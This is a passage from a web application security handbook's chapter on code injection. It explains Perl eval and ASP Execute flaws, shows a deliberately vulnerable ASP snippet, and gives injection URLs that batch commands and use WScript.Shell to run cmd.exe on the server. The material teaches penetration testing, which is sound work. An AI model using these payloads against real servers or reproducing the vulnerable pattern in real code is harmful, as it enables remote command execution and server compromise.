The Web Application Hacker’s Handbook Discovering and Exploiting Security Flaws

N OT E

The Perl language also contains an 

eval

function that can be exploited

in the same way. Note that the semicolon character may need to be URL-encoded

(as 

%3b

) as some CGI script parsers interpret this as a parameter delimiter.

Dynamic Execution in ASP

The ASP function 

Execute

works in the same way as the PHP 

eval

function

and can be used to dynamically execute code that is passed to the function at

runtime. 

308

Chapter 9 

■

Injecting Code

70779c09.qxd:WileyRed  9/14/07  3:13 PM  Page 308

---

The functionality described for the PHP application above could be imple-

mented in ASP as follows:

dim storedsearch

storedsearch = Request(“storedsearch”)

Execute(storedsearch)

In this situation, an attacker can submit crafted input which results in injec-

tion of arbitrary ASP commands. In ASP, commands are normally delimited

using newline characters, but multiple commands can be batched when

passed to the 

Execute

function using the colon character. For example,

response.write

can be used to print arbitrary data into the server’s response:

https://wahh-app.com/search.asp?storedsearch=mysearch%3dwahh:

response.write%20111111111

The 

Wscript.Shell

object can be used to access the operating system com-

mand shell. For example, the following ASP will perform a directory listing

and store the results in a file within the web root:

Dim oScript

Set oScript = Server.CreateObject(“WSCRIPT.SHELL”)

Call oScript.Run (“cmd.exe /c dir > c:\inetpub\wwwroot\dir.txt”,0,True)

This code can be passed to the vulnerable call to 

Execute

by batching all of

the commands as follows:

https://wahh-app.com/search.asp?storedsearch=mysearch%3dwahh:+

Dim +oScript:+Set+oScript+=+Server.CreateObject(“WSCRIPT.SHELL”):+

Call+oScript.Run+(“cmd.exe+/c+dir+>+c:\inetpub\wwwroot\dir.txt”,0,True)